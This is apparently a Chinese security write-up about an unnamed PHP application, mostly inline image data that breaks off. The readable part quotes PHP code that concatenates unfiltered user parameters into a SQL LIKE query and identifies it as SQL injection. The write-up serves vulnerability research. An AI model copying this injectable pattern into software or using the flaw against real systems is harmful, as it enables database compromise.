<a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094728-d6b9e5b6-cec8-1.png title><img src=data:image/png;base64,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 truncated
同时发现这个文件几个参数在拼接时没有进行过滤存在很明显的SQL注入漏洞。</p>
<div class=highlight><pre><span></span><span class=x>if($suserxm!=''){</span>
<span class=x>$sql=$sql." and userxm like '%$suserxm%'";</span>
<span class=x>}</span>
<span class=x>if($sjiabie!=''){</span>
<span class=x>$sql=$sql." and jiabie like '%$sjiabie%'";</span>
<span class=x>}</span>
<span class=x>if($smudidi!=''){</span>
<span class=x>$sql=$sql." and mudidi like '%$smudidi%'";</span>
<span class=x>}</span>
<span class=x>if($sniandu!=''){</span>
<span class=x>$sql=$sql." and niandu like '%$sniandu%'";</span>
<span class=x>}</span>
<span class=x>$sql=$sql." ORDER BY id asc LIMIT ".($pindex - 1) * $psize.','.$psize;</span>
<span class=x> $list =$db-&gt;fetchall($sql);</span>
</pre></div>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094920-1947b8ea-cec9-1.jpg title><img src="data:image/jpeg;base64,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 truncated
<a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094935-2275a508-cec9-1.png><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABcMAAAJ9CAYAAAD5d2rEAAEAAElEQVR4nOz9cXwU130vfn8WExstJhgrQ34IOjUGxRODWW4QaLf1RdrYN5GIHJynrOGSp6yXPPEDhhu3kFayExXz4MSijUjtYluv+DGy3F98UeXehJhIap64AuJ2JdvqjQQ4k2CMuxfQNSsZc1MWO3as5w/5DDO7s7szszurlfR5v14k1mo0e+bMmXPOnDnzPR78j9FR6Fy/aRayqampQUNDA1RVxZYtW7JuDwBzVtyF+V/5FqZdW4LhX/zfOP/i36RsU/7ffoiSP1iKd175R5x94f9j+N1ndv4PzPj0ItPfWbXsrwcAAB9cPI/f/+6K9vn062/E9Jlz8NHvruB3F8/jN83/D9O/F2kYevF7iP/i7x2lwYrr5t6MW775IwDAmf/vVvz2N/+a9fs//V+24tP/ZQvee/t02vQDwJEjRwAA1dXVeUuvk/JwzSoPpoc9GP134Hd//ZHpNtPv8eCaKg9+f3QUH/7DKHAjcN2eafhoAPDcAHj+EPiwbRS/f2XU8j71rntiGgDg/caPgHeS0lflwfR7su/LjfxsaWmBoihoampCd3d31u16e3tx8eJF020OHToEVVUNnwUCAaxevRoLFy6Eoija5729vWhoaHCcnmT19fWora1FV1cX9u7dm/L7TOXGLF8z5bUb5yGbTPmS7tgDgQAeffRRxONxhEIhAEBnZye8Xi9CoRDi8XjW75UkCW1tbfB6vYbvFnlgtp9QKIRt27YZ8jrb+clVU1MT/H6/6f7N8i45PZIkoaOjA729vbjhhhsylkErdVCu+WMnPVbYLc/pzle6Y3daP4jvtnJs+SjPmYhj0+8/G6vp37VrF4LBIAAgFoshkUgAAEpLSyFJkuV81n9nLvWVOF+Zrpe2tja0traaHueRI0e0tImyYqdNTmb3eO2WT7vpz3RM27dvx7p16zAwMIAHHnjAkGdulv9kiqKgpaUlJW+s+o/nfpvymZU+uRNO2i+rf+9Wusy2s3q9uJ2uxx57DD6fDy+88AL2799v+rf639nd3i6xf6vtey75aaX/5Xb9YLe+Euz2h4mIiKj4XHfddY7+bnqe02FK3rgXNyyvAYC0A+EAcGXo1yj5g6UomXdLyu+unVMGALh85n86SsOcFXdp//2JOWX4hMk2064twYxPL3K0/3x6/8Kb+PDyRUyfOQczPr1IGwz/8D/eAT69CCV/sDTlb0oWfBYA8Lt3zhY0rQX1DvDRADBNAUbfzX13o28Dnk8D16z04Pf/ZHgmhGm3eAAAH/3vUbM/LYjFixdn/P27774LALh48aKtwcxoNIpoNKr9LG4i/H4/AoGA4Xd20lMoiqIYBjD0NzDFLhqNIhaLQZZl1NTUYNasWfB6vRgYGLA8cBiPxxGLxVKOW+y3rq4u5YZ1xYoVAIChoaH8HIgF6QagAMDr9Wb9+3g8jt7eXixbtgzDw8M5pyfX/Ml3eoRM15wV8+bNM/3caf1gRz7Kcybd3d1oaGiAJEkp132uxED4gw8+aMh/MdCSL1brqzNnzkBRFJSVlaX8TpZlAIW9fvMlXfnMp6VLx/pEv/zlL7XPClH+kwUCAQDIazmdqrL1N4rtejl16hR8Ph/Ky8vTpqe/v9/x9nadP38ePp8PCxcutLR9PvJTkiTb9X4h6odMnPaHiYiIaOKbNv2esWHh6zfNyvsMlDkr7sJnH+zCDctr8MHF8/hf7d9OOxAOAJcGfw4AKPmDpfj0f9mqfX5T5HFMu7YEH16+iIv9L6b9rqWP9OKzD3bhurk3p/z+Yv+LGPxLn+m/d385NsvjvbdPY/AvfbkcsuX0AGMzwM1+t2DdX2H6zDkAgP/z63/RPn/v/K8BAJ+8tcowuD9nxV24ftEqAMDlN17NS/qL1Ue/HgWuGxvEznlfg2MD3dO/6IFHd79wzRc9mPZxMfj9Lwo/GC5uOFatWgVJktJuJ2a7VFVVIRKJOP6+S5cu5SU9bhsYGHuzY+vWrYbP77333nFIjXM9PT0AxmYpiUFY/SCOEAqFTGfDBgIBbUBNf+5eeeUV7e/0A26RSAR+vx8A0N7enp+DsODNN98EAFRUVBjKTSgUsnyz39/fD6/Xq22fi3zkTz7TI8rzhg0bDPlTU1OT8e/0gxuSJGmDusnyVT9kY7U8OyXyae3atXnbp94bb7yh/XcgEEBFRUVe9mu3vjp27BgAwOfzaYOqwNisZ6/Xi0QikdcZuG6xWj7zQZIkNDU1QVEUxONxHD58WPtdocq/XmVlJQDgxIkTjv5e9MP1/9wiHhbU1tYa6p9AIICqqioAwIULF1z7/nSs9jeK7Xr5+c9/rqVH327v2rULXq8X8XjcMLBqd3u7Dh06BGDs4Vt9fX3W7XPJTzEAvn79+qzfU8j6wYls/WEiIiKaPFydGT7rltvxiY9ndHuuLYFUHYFUbbwp+Y/fRLUB8t/+5l/x7i+7ccPyGnz6v2zB7GX/RQthAgDxf34m43dNu7YE064twSdv+WPEL7yZc/rnrLjLkF4xO/1Tt2/EnFVfGUvTkVbTAXor6ZFW/z9x46o/MYRtuXZOGaZdWwJgbBb9+7q/O//i32D20s/jE3PK8AfrH9HSJmaz/8fpV10N35KraUuB6WvGQpNgxtj/ef4v4Nq/nKZtky28ye+PjuKaL3rgmZ17ej788SimLfPA82ng2m9Ow+i/j6VLDLT/vm8Uo2dy/x672tvbUVlZCVmW0dbWhlgsBmDs9f1nnnlGuyHp7u5GZWUlgsEgwuEwQqGQtq3X68Xp06exe/dubb9ixos+JIB+YC8Wi5nefFlNTyQS0QYDxO+BscFQ8er40NCQIU12HDx4ED6fDz6fD52dnYjFYigtLcX58+cd7W+8tLa2IhQKwe/3Ix6PI5FIGAZxhBUrVsDv92Pbtm3aOdOfr97eXsP52r9/P1atWgVZltHS0gJVVQ3b9/T0mM5Y1J+fZLmcr46ODtx1112QZRkdHR0p6enq6so6i6yjowP33HOP6aBIIBBAOBwGcHWmuTh2Qf+6tNP8sZoeuw4ePIjy8nL4fD7tuso0Y/7QoUOoqqqCoijo6OjAyMgIZFnG4OAgZFnWPt+3bx+i0ait+kGfl8LGjRtx9913Zy0DVsuzUy+//DJ8Ph+qqqpMw1o4Tb+qqtqr/yLvZVlGV1cXamtrUVtbi4qKCi0/7bJbX0WjUfT29sLv9+PRRx9NKZ8dHR2201BIdsunU/prXDzUisfj2Ldvn6E+KVT5FyKRCBRFQSKRKOhDR6eeffZZLFu2zFD/AFfzNBaLGd6gSc4jUS5FPgFAW1tbzjNprfY33L5e7B6vqqpa3bFt2zbccccdWsglAHjmGeP9i93t7VJVFW1tbQiHw6itrUVVVZWWl8DYedaHDcklP1977TXU1tZi3bp1WLVqFRKJBGRZRmtrq/Z3haofrHLaHyYiIqLJoyBhUgBg+sw52qC23ntDpww/x56vx4e/HcbspZ/XBnmv/K8TePeX3RkHen/765fxyVur8PvLFw2zqXNKs/cG07Ap+jAr0703OE7PB5fieO/t05jx6UXa/j763ZWMx/vmM9sw70t/Bq+8TEvbBxfP47enoo5jqReKx+uB5w+TPrwOqZ9l8ZE6imsqPXlJ0+/2f4Tpd3owbfnVtI2+PTbo/vuj4xMiRVVV7NmzBxs2bEB5ebl2c5pIJDBrlnGm2O7du9HX14fa2lrDtgBw+vRpw7bz5s1DPB5PmdWqqirOnDmDAwcO5JSeuXPnmoYAkCQpL4OH0WgUTU1NuPvuu6EoihZ+QAw6TSR9fX0IBoOQJAm9vb2mg8L9/f0oKSlBWVmZ4Zypqoq+vj7T2J07d+7E5s2bUVFRYRjUePHFF9PezObr/JhJl56enh7LsVxPnDhhOnts9uzZKeXN6/VmDJvjJH+spseuaDSqXVc+nw+KoiAWi+Gpp57Co48+mrK9qqp4/PHHsXHjRsiyjJkzZ6Kvrw8/+9nPtJntkiRh9uyrTwqt1g9meWln9ruV8uxUR0cHbr/9dvh8PuzZs8cwICY4SX9jYyN27tyJZcuWaTOLRTxbESYlOT/tyFRfzZkzxzR9DQ0NqK+vx5IlS7TjUVUVP/7xj4t+VriT8mnHhQsXtAeC+rw5ceIE2tvbTctcocq/iFkOjMXMz2f5d4uqqtixYwfuvfdeLFq0yFAfnjx5MqU/YJZHgDGfnJ7b5HRZ7f+4eb04Od69e/fiwoULCAaD2t8ODAygq6vLND12t7ertbUVQ0NDpuVfhFrTP1x0mp979+7FjBkztIcYYv/XX3+9to3b9YNdTvvDRERENHl4pk+fPvrhP3xg63VM8UQ9kUgYZhrkMouQ3JE841N0cN1YQHMqlIdC5CfZIxY/TCQSWLNmzXgnxxJJktDc3AxZlvO+ABlwdWHDXBbQo/EzHgvC5sLt8ixJEvbs2WMYGOvr65t07QtNLGJhQaGnp4dlkoiIiIiogGbMmIHR0VF4PB6Mjmaf0Cq2y2lmeLZZeDT+Cnl+pkJ5mOzHN5EoioJAIKDF2xwcHBznFFlTU1OjzY7q6elxZcaneL1XPyOVyA2FKM/xeBxbtmxBJBLB8uXLUVZWNu4LrxGJtznOnz+PI0eOFP3sfSIiIiKiyUYMgFsZCNdv52hmOBFRoYk3EMzEYjHs3LmzaF9PDwQC2Lp1a0q4k8bGRtfSvGvXLgSDQW0W7XvvvYe9e/e68l2UX8U+M3w8yjMRERERERGR3nXXXWf6ebaZ4gWLGU5ElE/xeBwjIyMZY8YWi9mzZ0OWZaiqinfffRf9/f2uL4j35JNPoqSkBH6/X4txzcFwyofxKM9ERERERERLine truncated
相似的这个目录下很多类似文件但是其他的都有做鉴权,所以可以说是后台注入,这里就不提了。<br>
<a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240219094952-2ca9e908-cec9-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA7EAAALyCAYAAAAMmFMvAAEAAElEQVR4nOzdd1yV5f/H8dd92BtBHAxZinuvHKU5Km3ZcNsuq29ZadPUyrJdtsuRWWm/hpVmpVmaWto098AJDsSFCLLhnPv3B6CHKQdBRd/Px4NHct+fc13XPTidz7nGbZimaSICHD9+/Gw3QUREREREpFyWs90AERERERERkYpSEisiIiIiIiI1hpJYERERERERqTGUxIqIiIiIiEiNoSRWREREREREagxn+18OHjlK3doB/P7vulKDWzVpiJ+P1xlpmIiIiIiIiEhxJ5LYLTvjOXI0hbq1AziSfKzU4Ny83DPVLhEREREREZESLJCfwMbu3H222yIiIiIiIiJSLsvZTGAX3m1gdH2D7VVe8nbe6Fq07Oqrq6iFdxsYdy+s5lpEREREREQuTJaz1wO7ndgN52NdZ87R5GMcOHS4zP2Jhw6TfCzlDLZIRERERESkejlf3LH1iV9cnF3OYNWNGP2HyegzUnZ11nX2ZOfksG1XPAD16gQV2Xf